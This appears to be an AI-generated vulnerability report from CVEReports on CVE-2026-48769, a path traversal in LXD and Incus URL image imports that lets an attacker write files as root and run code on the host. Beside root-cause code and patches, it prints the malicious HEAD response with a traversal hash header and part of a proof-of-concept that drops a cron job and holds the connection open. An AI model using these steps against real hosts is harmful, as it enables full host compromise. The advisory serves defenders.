CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-PJFF-C2WC-F6JM

CVE-2026-48769: Arbitrary File Write and Remote Code Execution via Trusted Image Hash in Canonical LXD and Linux Containers Incus

Alon Barad
Alon Barad
Software Engineer

Nov 7, 2026·10 min read·4 visits

Executive Summary (TL;DR)

Canonical LXD and Linux Containers Incus fail to validate the `Incus-Image-Hash` and `LXD-Image-Hash` HTTP headers during URL-based image imports. Attackers with low-privilege API access can supply path traversal sequences in this header to write arbitrary files as root on the host filesystem (such as `/etc/cron.d/`), resulting in full host remote code execution.

A critical path traversal vulnerability caused by improper input validation (CWE-20) exists in the direct image download handler of Canonical LXD and Linux Containers Incus. When an authenticated user requests an image import using the URL source type, the daemon reads the image fingerprint from an untrusted HTTP response header (`Incus-Image-Hash` or `LXD-Image-Hash`) without validating that it conforms to a SHA-256 format. This unvalidated string is concatenated directly into a filesystem path via `filepath.Join` prior to file creation and cryptographic verification, allowing directory traversal sequences to write arbitrary files on the host filesystem as root.

Vulnerability Overview

Canonical LXD (github.com/canonical/lxd) and Linux Containers Incus (github.com/lxc/incus) are system container and virtual machine managers that expose a REST API over both local Unix domain sockets and remote HTTPS endpoints. Within multi-tenant or delegated operational environments, non-root users and project-scoped operators are commonly granted privileges to import container or virtual machine images into their assigned projects via the /1.0/images API endpoint.

One supported mechanism for importing images is the url source type (source.type=url), which instructs the daemon to fetch image metadata and payload bytes directly from an external HTTP or HTTPS server. During this exchange, the target server returns custom HTTP headers—LXD-Image-Hash in LXD and Incus-Image-Hash in Incus—to communicate the expected SHA-256 fingerprint of the image being downloaded.

Due to improper input validation (CWE-20), neither LXD nor Incus verifies that the fingerprint string extracted from the HTTP response header is a strictly formatted 64-character hexadecimal SHA-256 digest before using it to construct a local storage path. By embedding relative path traversal sequences (../) inside the HTTP header, an attacker controlling the remote HTTP server can escape the designated image storage directory (/var/lib/incus/images/ or /var/snap/lxd/common/lxd/images/).

Because the daemon creates the destination file on the host filesystem and streams the HTTP response body into it before computing and verifying the cryptographic hash, the attacker achieves an arbitrary file write primitive with root privileges. Although a failed hash check triggers a deferred file removal routine, the attacker can hold the HTTP response stream open to delay cleanup indefinitely, providing sufficient time for host services like cron to execute the written payload.

Root Cause Analysis

The vulnerability originates from a broken trust assumption between the image metadata discovery phase and the filesystem staging phase in the daemon's image management subsystem. When a client submits a POST /1.0/images request specifying source.type=url, the request handler in cmd/incusd/images.go initiates an outbound HTTP HEAD request to the caller-supplied URL to resolve the target image location and fingerprint.

Upon receiving the HEAD response, the daemon extracts the Incus-Image-Hash (or LXD-Image-Hash) header and the Incus-Image-URL (or LXD-Image-URL) header. The value from the hash header is assigned directly to the image download request structure as the image alias and target identifier without any character whitelist, length check, or path sanitization. The daemon then invokes imageDownload() in cmd/incusd/daemon_images.go.

Inside imageDownload(), the daemon assigns the unvalidated header value to the local fingerprint variable fp and constructs the target filesystem path on the host using Go's standard library filepath.Join(destDir, fp). In Go, filepath.Join automatically calls filepath.Clean on the resulting path, which resolves any .. segments against the base path destDir. Consequently, a header value of ../../../../etc/cron.d/payload resolves directly to /etc/cron.d/payload on the host operating system.

Once the path is constructed, the direct download protocol handler immediately invokes os.Create(destName) and streams the body of the subsequent HTTP GET request into the open file descriptor. Cryptographic verification of the downloaded bytes against the expected fp string only occurs after the HTTP response stream finishes closing. By delaying the termination of the HTTP GET response, the attacker prevents the post-download validation and its associated cleanup handler from executing, leaving the arbitrary file intact on disk for as long as the HTTP socket remains open.

Code Analysis

The vulnerable execution flow spans two primary files in the daemon codebase: cmd/incusd/images.go and cmd/incusd/daemon_images.go (and their identical counterparts in the LXD repository). In cmd/incusd/images.go (lines 611–684), the daemon processes the url source type by performing a HEAD request against the remote server and reading the untrusted headers:

// cmd/incusd/images.go (lines 611-684 context)
// The daemon performs an HTTP HEAD request to the user-supplied URL
resp, err := http.Head(url)
if err != nil {
    return err
}
 
// VULNERABLE: Header value is extracted without format or character validation
hash := resp.Header.Get("Incus-Image-Hash")
redirectURL := resp.Header.Get("Incus-Image-URL")
 
// Passed directly into the download struct as Alias and Server parameters
info, err := d.imageDownload(op, redirectURL, "direct", "", "", hash, false, autoUpdate, "", true, project)

When execution enters cmd/incusd/daemon_images.go, the unvalidated alias parameter is assigned to the fingerprint variable fp (lines 91–92) and subsequently used to build destName (lines 333–335). The cleanup routine (lines 337–344) is registered, and the direct protocol handler (lines 469–523) creates the file on disk and streams the HTTP body into it before performing the SHA-256 verification (lines 528–532):

// cmd/incusd/daemon_images.go
func (d *Daemon) imageDownload(...) (*api.Image, error) {
    // Lines 91-92: fp defaults directly to the unvalidated header string
    fp := alias
 
    // Lines 333-335: filepath.Join resolves '../' segments outside of destDir
    destDir := internalUtil.VarPath("images")
    destName := filepath.Join(destDir, fp)
 
    // Lines 337-344: Deferred cleanup only runs AFTER the function returns
    failure := true
    cleanup := func() {
        if failure {
            os.Remove(destName)
            os.Remove(destName + ".rootfs")
        }
    }
    defer cleanup()
 
    // Lines 469-523: Direct protocol handler creates the file BEFORE validating fp
    if protocol == "direct" {
        raw, err := os.Create(destName)
        if err != nil {
            return nil, err
        }
        defer raw.Close()
 
        // HTTP GET request streamed directly into the host file
        // Attacker holds the HTTP response open here to prevent function return
        _, err = io.Copy( bodyWriter, resp.Body )
    }
 
    // Lines 528-532: Hash validation occurs too late
    if fmt.Sprintf("%x", sha256.Sum(nil)) != fp {
        return nil, fmt.Errorf("Hash mismatch")
    }
}

To remediate this flaw, the patched implementation enforces strict input validation at the boundary where the header is parsed and ensures safe file handling during staging:

// REMEDIATION PATTERN:
// 1. Validate that the hash string is strictly a 64-character lowercase hex SHA-256
matched, err := regexp.MatchString(`^[a-f0-9]{64}$`, hash)
if err != nil || !matched {
    return fmt.Errorf("Invalid image hash format")
}
 
// 2. Verify that the cleaned destination path remains strictly inside destDir
destName := filepath.Clean(filepath.Join(destDir, fp))
if !strings.HasPrefix(destName, filepath.Clean(destDir) + string(filepath.Separator)) {
    return fmt.Errorf("Invalid image destination path")
}

Evaluating fix completeness: enforcing strict regular expression matching (^[a-f0-9]{64}$) on the fingerprint string completely eliminates the ability to inject path separators (/) or directory traversal dots (.). Furthermore, streaming unverified downloads into temporary staging files within a restricted directory prior to hash verification prevents pre-validation file creation in arbitrary locations across variant code paths.

Exploitation

Exploiting CVE-2026-48769 requires two prerequisites: low-privilege access to the Incus or LXD REST API (either via a local Unix socket membership such as the incus or lxd group, or via a remote TLS client certificate authorized for a restricted project) and network reachability from the daemon host to an attacker-controlled HTTP listener. No special daemon configuration is necessary because URL-based image imports are enabled by default for authorized API clients.

The exploitation process uses a two-stage HTTP server controlled by the attacker. First, the attacker starts an HTTP listener exposing two endpoints: /stage and /payload. When the attacker sends a POST /1.0/images request with {"source": {"type": "url", "url": "http://<attacker-ip>:8088/stage"}}, the daemon sends an HTTP HEAD request to /stage.

HTTP/1.1 200 OK
Server: direct-image-rce/1.0
Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce
Incus-Image-URL: http://127.0.0.1:8088/payload
Connection: close

Upon parsing the HEAD response, the daemon follows the Incus-Image-URL header and sends an HTTP GET request to /payload. Before reading the response body, the daemon opens /var/lib/incus/images/../../../../etc/cron.d/incus-direct-image-url-rce via os.Create(). The attacker's /payload handler immediately writes a valid system crontab line into the HTTP stream and flushes the socket buffer:

# Excerpt from the published Proof-of-Concept exploit
def do_GET(self) -> None:
    if self.path != "/payload":
        self.send_error(404)
        return
 
    srv = self.server
    srv.payload_requested.set()
 
    self.send_response(200)
    self.send_header("Content-Type", "application/octet-stream")
    self.send_header("Cache-Control", "no-store")
    self.end_headers()
    # Write cron job: "* * * * * root /bin/sh -c 'id > /tmp/incus-direct-image-url-rce'\n"
    self.wfile.write(srv.payload)
    self.wfile.flush()
    
    # Hold the HTTP response open for 90 seconds so cleanup() does not delete the cron file
    time.sleep(srv.hold_seconds)
    self.close_connection = True

> [!NOTE] > Because standard Linux cron daemons wake up on 60-second intervals to scan /etc/cron.d/ for new or modified files, holding the HTTP response open for 90 seconds guarantees that cron parses and executes the payload before the HTTP connection terminates.

Once the 90-second hold expires, the attacker server closes the connection. The Incus or LXD daemon finishes reading EOF, computes the SHA-256 digest of the cron payload, observes that the hex digest does not match the string ../../../../etc/cron.d/incus-direct-image-url-rce, and invokes the deferred cleanup() function to unlink /etc/cron.d/incus-direct-image-url-rce. By that point, the arbitrary command has already executed as root on the host.

Impact Assessment

The security impact of CVE-2026-48769 is a complete compromise of the underlying host operating system (Scope: Changed). Both incusd and lxd execute with full root privileges Outside of any container namespace. By leveraging an arbitrary file creation and overwrite primitive as root, an attacker with restricted tenant or operator credentials breaks out of project boundaries and gains uninhibited root code execution on the hypervisor or container host.

In addition to dropping scheduled tasks into /etc/cron.d/, an attacker can overwrite existing critical system files on the host. Because os.Create() truncates existing files before writing, an attacker can overwrite /root/.ssh/authorized_keys, modify /etc/shadow or /etc/sudoers, or corrupt system binaries and libraries, leading to persistent root access or denial of service.

The vulnerability carries a CVSS v3.1 base score of 9.9 (Critical) with the vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H. The Attack Complexity is Low (AC:L) because holding an HTTP response stream open requires no precise race timing, memory corruption offsets, or environmental grooming. Privileges Required is Low (PR:L), reflecting the requirement for basic API authentication capable of importing project images.

From a threat intelligence standpoint, a fully functional Proof-of-Concept exploit script is publicly available inside the vendor security advisories. While the vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog and holds an EPSS score of 0.00784 (56.21st percentile), the reliability of the exploit makes any multi-tenant LXD or Incus deployment exposed to untrusted or semi-trusted API users immediately vulnerable to host takeover.

Remediation

Administrators and platform operators must upgrade affected Canonical LXD and Linux Containers Incus installations to versions containing the input validation and safe staging fixes. For Linux Containers Incus, upgrade immediately to version 7.2.0 or later.

For Canonical LXD deployments, upgrade to the corresponding patched maintenance release for your active track:

  • LXD 6.x track: Upgrade to 6.9.0 or later.
  • LXD 5.21 LTS track: Upgrade to 5.21.5 or later.
  • LXD 5.0 LTS track: Upgrade to 5.0.7 or later.
  • LXD 4.0 LTS track: Upgrade to 4.0.11 or later.
  • Source builds: Update to commit pseudo-version 0.0.0-20260630083100-c5184be310b1 or later.

> [!NOTE] > If immediate package upgrades cannot be performed, operators should implement strict network and access control mitigations around the daemon interfaces and outbound connectivity.

First, audit and restrict local Unix socket access (/var/lib/incus/unix.socket and /var/snap/lxd/common/lxd/unix.socket) as well as remote HTTPS API listeners (typically TCP port 8443) so that only fully trusted system administrators can authenticate. Second, apply strict outbound egress firewall rules on the LXD/Incus host to block the daemon from initiating HTTP/HTTPS connections to arbitrary internal or external IP addresses, permitting outbound traffic only to verified, trusted image servers.

Official Patches

CanonicalCanonical LXD Security Advisory (GHSA-pjff-c2wc-f6jm)
Linux ContainersLinux Containers Incus Security Advisory (GHSA-f6m5-xw2g-xc4x)
Linux ContainersIncus 7.2 Release Announcement

Technical Appendix

CVSS Score
9.9/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
EPSS Probability
0.78%
Top 44% most exploited

Affected Systems

Canonical LXDLinux Containers Incus

Affected Versions Detail

Product
Affected Versions
Fixed Version
Incus
Linux Containers
< 7.2.07.2.0
LXD
Canonical
>= 4.0.0, < 4.0.114.0.11
LXD
Canonical
>= 5.0.0, < 5.0.75.0.7
LXD
Canonical
>= 5.1.0, < 5.21.55.21.5
LXD
Canonical
>= 6.0.0, < 6.9.06.9.0
AttributeDetail
CVE IDCVE-2026-48769 (GHSA-pjff-c2wc-f6jm / GHSA-f6m5-xw2g-xc4x)
Weakness ClassCWE-20 (Improper Input Validation / Path Traversal)
CVSS v3.1 Score9.9 Critical (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
Attack VectorNetwork / Authenticated API (POST /1.0/images with source.type=url)
ImpactArbitrary Host File Write and Remote Code Execution as root
Exploit StatusPublic Proof-of-Concept (PoC) Available
EPSS Score0.78% (56.21st Percentile)
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1053.003Scheduled Task/Job: Cron
Persistence / Privilege Escalation
CWE-20
Improper Input Validation

The product receives input or data, but does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Known Exploits & Detection

GitHub Advisory (Incus)Official upstream advisory containing the complete Python Proof-of-Concept exploit script demonstrating host cron RCE.
GitHub Advisory (Canonical LXD)Canonical LXD security advisory detailing the vulnerability and exploit mechanism.

Vulnerability Timeline

Incus project team publishes security advisory GHSA-f6m5-xw2g-xc4x.
2026-06-26
Incus 7.2.0 released containing the fix for CVE-2026-48769.
2026-06-29
Canonical LXD fixes backported in commit pseudo-version 0.0.0-20260630083100-c5184be310b1.
2026-06-30
CVE record CVE-2026-48769 formally published by GitHub CNA.
2026-08-21
CVE record updated with full vendor and version matrix mappings.
2026-11-05
Canonical LXD advisory GHSA-pjff-c2wc-f6jm published on GitHub Advisory Database.
2026-11-06

References & Sources

  • [1]Canonical LXD Security Advisory (GHSA-pjff-c2wc-f6jm)
  • [2]Incus Security Advisory (GHSA-f6m5-xw2g-xc4x)
  • [3]Incus 7.2 Release Announcement
  • [4]National Vulnerability Database (NVD) Record for CVE-2026-48769
  • [5]CVE.org Authoritative Record for CVE-2026-48769
  • [6]Linux Containers Forum Release Announcement: Incus 7.2
  • [7]Canonical LXD GitHub Repository
  • [8]Linux Containers Incus GitHub Repository

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•3 minutes ago•GHSA-FMC8-P6Q7-75CC
9.9

GHSA-fmc8-p6q7-75cc: Argument Injection in Canonical LXD Backup Compression Leads to Host Root Code Execution

GHSA-fmc8-p6q7-75cc (associated with CVE-2026-48755) is a critical argument injection vulnerability in Canonical LXD (github.com/canonical/lxd). The vulnerability occurs during instance and storage volume backup operations when processing the user-supplied compression_algorithm configuration parameter. While LXD validates the primary executable token against an allowlist of supported compression binaries, it fails to sanitize or restrict subsequent tokens parsed via shellquote.Split. These additional arguments are passed directly to exec.Command. An authenticated attacker with privileges to trigger backups can inject command-line flags for utilities like zstd to read staged files from a container filesystem and write them to arbitrary paths on the underlying host filesystem, such as /etc/cron.d/, achieving root-level arbitrary code execution on the host.

Amit Schendel
Amit Schendel
0 views•10 min read
•about 5 hours ago•CVE-2026-9639
6.5

CVE-2026-9639: Authenticated Denial of Service via Nil-Pointer Dereference in Canonical LXD Custom Volume Backup Import

CVE-2026-9639 (GHSA-j93m-3j9p-m5m8) is a null pointer dereference vulnerability in Canonical LXD affecting versions 5.0.0 through 5.21.4 and 6.0 through 6.8. The flaw resides in the (*lxdBackend).CreateCustomVolumeFromBackup method within lxd/storage/backend_lxd.go. An authenticated attacker with the can_create_storage_volumes permission can upload a crafted custom volume backup tarball that omits the expires_at field on a snapshot entry, triggering an unhandled SIGSEGV panic and terminating the LXD daemon.

Amit Schendel
Amit Schendel
5 views•9 min read
•about 6 hours ago•CVE-2026-33050
8.8

CVE-2026-33050: OS Command Injection in GeoNode Vector Upload Handler

An operating system command injection vulnerability (CWE-78) exists in GeoNode versions prior to 5.1.0. The vulnerability occurs in the vector upload processing pipeline when handling user-supplied geospatial files. By supplying a crafted layer name containing shell metacharacters, an authenticated attacker with basic data upload privileges can execute arbitrary commands on the underlying server or container hosting the GeoNode application and Celery worker processes.

Alon Barad
Alon Barad
5 views•9 min read
•about 7 hours ago•CVE-2026-46429
5.5

CVE-2026-46429: Unrestricted File Upload and Validation Bypass in GeoNode

GeoNode versions prior to 5.0.3 contain an unrestricted file upload vulnerability (CWE-434) within the document and dataset ingestion architecture. Authenticated low-privileged users can bypass upload validation via direct REST API interactions, file extension masquerading, metadata mutation via PATCH requests, or malicious archive submissions. This allows attackers to store and serve dangerous file types, alter on-disk file references, or trigger path traversal and resource exhaustion during archive extraction.

Amit Schendel
Amit Schendel
6 views•10 min read
•about 8 hours ago•CVE-2026-55649
6.3

CVE-2026-55649: Stored Cross-Site Scripting in GeoNode Document Metadata Abstract Field

CVE-2026-55649 is a stored Cross-Site Scripting (XSS) vulnerability in GeoNode versions prior to 5.0.3. The flaw exists because document abstract metadata fields are ingested via the metadata management pipeline and stored in the backend database without HTML sanitization or input neutralization. An authenticated attacker with privileges to create or edit document metadata can inject arbitrary HTML and JavaScript payloads into these fields. When another user, such as an administrator, views the affected document page or catalog listing, the unencoded payload is rendered into the Document Object Model (DOM) and executes within the victim's browser session.

Amit Schendel
Amit Schendel
7 views•9 min read
•about 9 hours ago•GHSA-QX75-2P3R-PWM5
7.7

CVE-2026-55622: Cross-Project Instance Copy Authorization Bypass in Canonical LXD and LXC Incus

CVE-2026-55622 (GHSA-qx75-2p3r-pwm5) is an improper access control vulnerability (CWE-284) in Canonical LXD and LXC Incus (tracked as GHSA-c9f5-j9c3-mhrg). In multi-tenant deployments utilizing project-based isolation, the REST API handler for instance creation via POST /1.0/instances verifies that the authenticated user has authorization in the destination project specified by the query parameter, but fails to verify whether the user holds read or view permissions for the source instance when executing a copy operation across projects. Consequently, an authenticated client restricted to a single project can clone instances or snapshots from unauthorized projects into their own project, resulting in complete disclosure of the target instance filesystem and embedded credentials.

Amit Schendel
Amit Schendel
6 views•11 min read